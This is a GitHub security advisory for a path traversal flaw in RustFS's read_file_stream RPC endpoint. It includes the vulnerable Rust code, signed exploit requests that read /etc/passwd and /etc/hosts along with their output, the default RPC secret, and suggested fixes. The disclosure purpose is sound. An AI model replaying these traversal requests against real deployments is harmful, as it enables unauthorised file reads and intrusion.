GitHub Advisoryadvisory · crates.io

GHSA-pq29-69jg-9mxc RustFS Path Traversal Vulnerability

HIGH Published 2026-01-07 Modified 2026-01-07 Official page ↗
Aliases
CVE-2025-68705
Ecosystem
crates.io
Packages
rustfs
Severity
High
CVSS vector
CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N/E:P
Weaknesses
CWE-22
Reviewed
2026-01-07

Affected packages

• crates.io rustfs: >= 1.0.0-alpha.13, < 1.0.0-alpha.79 → fixed in 1.0.0-alpha.79

Description

RustFS Path Traversal Vulnerability Vulnerability Details • CVE ID: • Severity: Critical (CVSS estimated 9.9) • Impact: Arbitrary File Read/Write • Component: `/rustfs/rpc/read_file_stream` endpoint • Root Cause: Insufficient path validation in `crates/ecstore/src/disk/local.rs:1791` Vulnerable Code ```rust // local.rs:1791 - No path sanitization! let file_path = volume_dir.join(Path::new(&path)); // DANGEROUS! check_path_length(file_path.to_string_lossy().to_string().as_str())?; // Only checks length let mut f = self.open_file(file_path, O_RDONLY, volume_dir).await?; ``` The code uses `PathBuf::join()` without: • Canonicalization • Path boundary validation • Protection against `../` sequences • Protection against absolute paths Proof of Concept Test Environment • Target: RustFS v0.0.5 (Docker container) • Endpoint: `http://localhost:9000/rustfs/rpc/read_file_stream` • RPC Secret: `rustfsadmin` (from RUSTFS_SECRET_KEY) • Disk ID: `/data/rustfs0` • Volume: `.rustfs.sys` Attack Scenario Exploit Parameters ``` disk: /data/rustfs0 volume: .rustfs.sys path: ../../../../etc/passwd # Path traversal payload offset: 0 length: 751 # Must match file size ``` Required Authentication RPC requests require HMAC-SHA256 signature: ```python Signature format: HMAC-SHA256(secret, "{url}|{method}|{timestamp}") Headers: x-rustfs-signature: Base64(HMAC-SHA256(secret, data)) x-rustfs-timestamp: Unix timestamp ``` Successful Exploits 1. Read `/etc/passwd` ✅ Request: ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/passwd&offset=0&length=751 x-rustfs-signature: QAesB6sNdwKJluifpIhbKyhdK2EEiiyhpvfRJmXZKlg= x-rustfs-timestamp: 1766482485 ``` Response: HTTP 200 OK Content Retrieved: ``` root:x:0:0:root:/root:/bin/sh bin:x:1:1:bin:/bin:/sbin/nologin daemon:x:2:2:daemon:/sbin:/sbin/nologin [... 15 more lines ...] rustfs:x:10001:10001::/home/rustfs:/sbin/nologin ``` Impact: Full user account enumeration --- 2. Read `/etc/hosts` ✅ Request: ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=../../../../etc/hosts&offset=0&length=172 ``` Response: HTTP 200 OK Content Retrieved: ``` 127.0.0.1 localhost ::1 localhost ip6-localhost ip6-loopback [...] 172.20.0.3 d25e05a19bd2 ``` Impact: Network configuration disclosure --- 3. Read `/etc/hostname` ✅ Request: ``` GET /rustfs/rpc/read_file_stream?disk=/data/rustfs0&volume=.rustfs.sys&path=/etc/hostname&offset=0&length=13 ``` Response: HTTP 200 OK Content Retrieved: ``` d25e05a19bd2 ``` Impact: System information disclosure --- Technical Analysis Data Flow ``` 1. HTTP Request ↓ 2. RPC Signature Verification (verify_rpc_signature) ↓ 3. Find Disk (find_local_disk) ↓ 4. Read File Stream (disk.read_file_stream) ↓ 5. VULNERABLE: volume_dir.join(Path::new(&path)) ↓ 6. File Read: /data/rustfs0/.rustfs.sys/../../../../etc/passwd → /etc/passwd ``` Path Traversal Mechanism ```rust // Example traversal: volume_dir = PathBuf::from("/data/rustfs0/.rustfs.sys") path = "../../../../etc/passwd" // PathBuf::join() resolves to: file_path = "/data/rustfs0/.rustfs.sys/../../../../etc/passwd" = "/etc/passwd" // Successfully escaped! ``` Why It Works 1. No Canonicalization: Code doesn't use `canonicalize()` before validation 2. No Boundary Check: No verification that final path is within volume_dir 3. PathBuf::join() Behavior: Automatically resolves `../` sequences 4. Length-Only Validation: `check_path_length()` only checks string length Special Considerations • File Size Constraint: The `length` parameter must exactly match file size • Code validates: `file.len() >= offset + length` • Otherwise returns `DiskError::FileCorrupt` • Volume Requirement: Volume/bucket must exist (e.g., `.rustfs.sys`) • Disk Requirement: Disk must be registered in `GLOBAL_LOCAL_DISK_MAP` Impact Assessment Confidentiality Impact: HIGH • ✅ Read arbitrary files (demonstrated) • ✅ Read system configuration files (`/etc/passwd`, `/etc/hosts`) • ⚠️ Potential to read: • SSH keys (`/root/.ssh/id_rsa`) • Application secrets • RustFS configuration files • Environment variables from `/proc` Integrity Impact: HIGH • ⚠️ Similar vulnerability exists in `put_file_stream` (not tested) • ⚠️ Arbitrary file write likely possible • ⚠️ Could write to: • Cron jobs • authorized_keys • System binaries (if permissions allow) Availability Impact: MEDIUM • ⚠️ `walk_dir` endpoint could enumerate entire filesystem • ⚠️ Potential DoS via recursive directory traversal Exploitation Requirements Prerequisites 1. Network Access: Ability to reach RustFS RPC endpoints 2. RPC Secret Knowledge: Knowledge of RUSTFS_SECRET_KEY • Default: `"rustfs-default-secret"` • Production: From environment variable or config 3. Disk/Volume Knowledge: Valid disk ID and volume name 4. File Size Knowledge: Exact file sizes for successful reads Attack Complexity • Without Secret: Impossible (signature verification) • With Secret: Trivial (automated script) • With Default Secret: Critical risk if not changed Mitigation Recommendations Immediate Actions (Priority 0) 1. Path Canonicalization ```rust async fn read_file_stream(&self, volume: &str, path: &str, ...) -> Result { let volume_dir = self.get_bucket_path(volume)?; // CRITICAL FIX: let file_path = volume_dir.join(Path::new(&path)); let canonical = file_path.canonicalize() .map_err(|_| DiskError::FileNotFound)?; // Validate path is within volume_dir if !canonical.starts_with(&volume_dir) { error!("Path traversal attempt detected: {:?}", path); return Err(DiskError::InvalidArgument); } // Continue with validated path... } ``` 2. Path Component Validation ```rust // Reject dangerous path components if path.contains("..") || path.starts_with('/') { return Err(DiskError::InvalidArgument); } ``` 3. Use path-clean Crate ```rust use path_clean::PathClean; let cleaned_path = PathBuf::from(&path).clean(); if cleaned_path.to_string_lossy().contains("..") { return Err(DiskError::InvalidArgument); } ``` Additional Security Measures 4. Audit Logging: Log all RPC file operations with full paths 5. Rate Limiting: Prevent DoS via repeated RPC calls 6. Secret Rotation: Ensure unique RPC secrets per deployment 7. Network Segmentation: Restrict RPC endpoint access 8. Security Testing: Add path traversal tests to test suite Long-term Improvements 9. Chroot Jail: Isolate RPC operations in chroot environment 10. Least Privilege: Run RustFS with minimal file system permissions 11. Security Audit: Comprehensive review of all file operations Proof of Concept Script The complete PoC is available at: `exploit_path_traversal.py` Usage ```bash Ensure RustFS is running docker compose ps Run exploit python3 exploit_path_traversal.py ``` Output ``` [+] SUCCESS! Read 751 bytes [+] File content: ================================================================================ root:x:0:0:root:/root:/bin/sh [... full /etc/passwd content ...] ================================================================================ ``` Acknowledgements RustFS would like to thank bilisheep from the Xmirror Security Team for discovering and responsibly reporting this vulnerability. Acknowledgements: RustFS would like to thank @realansgar and bilisheep from the Xmirror Security Team for providing the security report.

Related

Alias · CVE (1)

  • CVE-2025-68705 RustFS is a distributed object storage system built in Rust. vulnerability

Weakness · CWE (1)

  • CWE-22 Improper Limitation of a Pathname to a Restricted Directory weakness

References